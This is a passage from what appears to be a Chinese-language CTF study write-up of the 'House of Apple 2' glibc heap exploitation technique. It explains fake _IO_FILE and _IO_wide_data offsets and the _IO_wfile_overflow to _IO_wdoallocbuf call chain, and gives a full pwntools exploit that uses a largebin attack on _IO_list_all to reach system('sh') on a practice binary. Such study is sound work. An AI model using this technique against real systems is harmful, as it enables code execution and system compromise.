fake_io += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_io += p64(0) # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr) # _IO_wide_data_1
fake_io += p64(0) * 3 # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF) # _mode, usually -1
fake_io += b"\x00" * 19 # _unused2
fake_io = fake_io.ljust(0xD8 - 0x10, b'\x00') # adjust to vtable
fake_io += p64(libc.sym['_IO_wfile_jumps']) # fake vtable
fake_io += p64(wide_vtable_addr)
fake_io += p64(libc.sym['system'])
edit(2, fake_io)
edit(1, p64(0)*2 + p32(0xfbad1880)+b';sh;')
因为我们是从堆块的date段开始写的,但是flag段是在堆块头的位置,这个也好解决,这里我是通过堆块溢出来修改头,也可以伪造这个堆块的chain字段指向另一个,或者largebin attack的时候改写到date段
现在我们来解释一下上面的偏移,IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0首先是这里,这个数据是填在_wide_data段,也就是这里其实指向的是我们伪造的IO_wide_data结构体,而我们是想将其伪造在堆块里面,所以file_addr是很好理解的,然后这个0xd8+8其实指向的是我们的虚表,也就是vatable,这个位置就是相对于io结构体0xe0,刚好凑巧的是,我们的IO_wide_data的虚表指针,相对于IO_wide_data结构体也是0xe0的偏移,所以我们减去0xe0,这个时候我们的io结构体的虚表,也就是上面的fake vtable,同时也作为IO_wide_data的虚表指针
而wide_vtable_addr = (file_addr + 0xd8 + 8 + 8) - 0x68,这个其实是根据这一句wide_data->_wide_vtable->doallocate,我们最终调用是在doallocate,而这个函数其实是*(wide_vtable+0x68)的位置
偏移为104,也就是0x68,那我们其实希望这个位置就是这里的fake_io += p64(libc.sym['system']),所以我们把wide_vtable_addr地址写成IO_wide_data_add地址加8再减去0x68
我们把断点下在_IO_flush_all函数,进入调试看看,根据上面进入IO_wfile_overflow函数的条件,我们需要控制部分数据,最终在exit的时候,执行IO_flush_all刷新缓冲区,会调用到IO_wfile_overflow函数
然后s进入该函数,这个函数就是我们调用链的第一条
由于我们满足条件,会接着调用到IO_wdoallocbuf函数
而在这个函数里面,会调用到rax加0x68位置的函数,而这个rax就是上面我们伪造的wide_vtable
而这个函数我们放的是system,参数就是fp,也就是我们的flag段
到了这里就可以getshell了
最后附上完整的exp
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/apple2/ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"/home/gets/pwn/study/heap/apple2/libc.so.6"})
def dbg():
gdb.attach(io)
def add(index, size):
io.sendafter("choice:", "1")
io.sendafter("index:", str(index))
io.sendafter("size:", str(size))
def free(index):
io.sendafter("choice:", "2")
io.sendafter("index:", str(index))
def edit(index, content):
io.sendafter("choice:", "3")
io.sendafter("index:", str(index))
io.sendafter("length:", str(len(content)))
io.sendafter("content:", content)
def show(index):
io.sendafter("choice:", "4")
io.sendafter("index:", str(index))
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
free(0)
edit(2, 'a')
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + ord('a'))
info("libc base: " + hex(libc.address))
edit(2, '\x00')
show(0)
io.recv()
heap_base = u64(io.recv(6).ljust(8,b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))
add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
file_addr = heap_base + 0x6d0
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 8 + 8) - 0x68
edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2,0x428)
fake_io = b""
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(0) # _IO_write_base
fake_io += p64(1) # _IO_write_ptr
fake_io += p64(0) # _IO_write_end
fake_io += p64(0) # _IO_buf_base;
fake_io += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(0) * 4 # from _IO_save_base to _markers
fake_io += p64(0) # the FILE chain ptr
fake_io += p32(2) # _fileno for stderr is 2
fake_io += p32(0) # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_io += p16(0) # _cur_column
fake_io += b"\x00" # _vtable_offset
fake_io += b"\n" # _shortbuf[1]
fake_io += p32(0) # padding
fake_io += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0) # _IO_stdfile_1_lock/+0xa0
fake_io += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_io += p64(0) # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr) # _IO_wide_data_1
fake_io += p64(0) * 3 # from _freeres_list to __pad5
fake_io += p32(0xFFFFFFFF) # _mode, usually -1
fake_io += b"\x00" * 19 # _unused2
fake_io = fake_io.ljust(0xD8 - 0x10, b'\x00') # adjust to vtable
fake_io += p64(libc.sym['_IO_wfile_jumps']) # fake vtable
fake_io += p64(wide_vtable_addr)
fake_io += p64(libc.sym['system'])
edit(2, fake_io)
edit(1, p64(0)*2 +b' ;sh;')
gdb.attach(io, "b _IO_flush_all\nc")
#gdb.attach(io, "b _IO_wdoallocbuf\nc")
io.sendafter("choice:", "5")
io.interactive()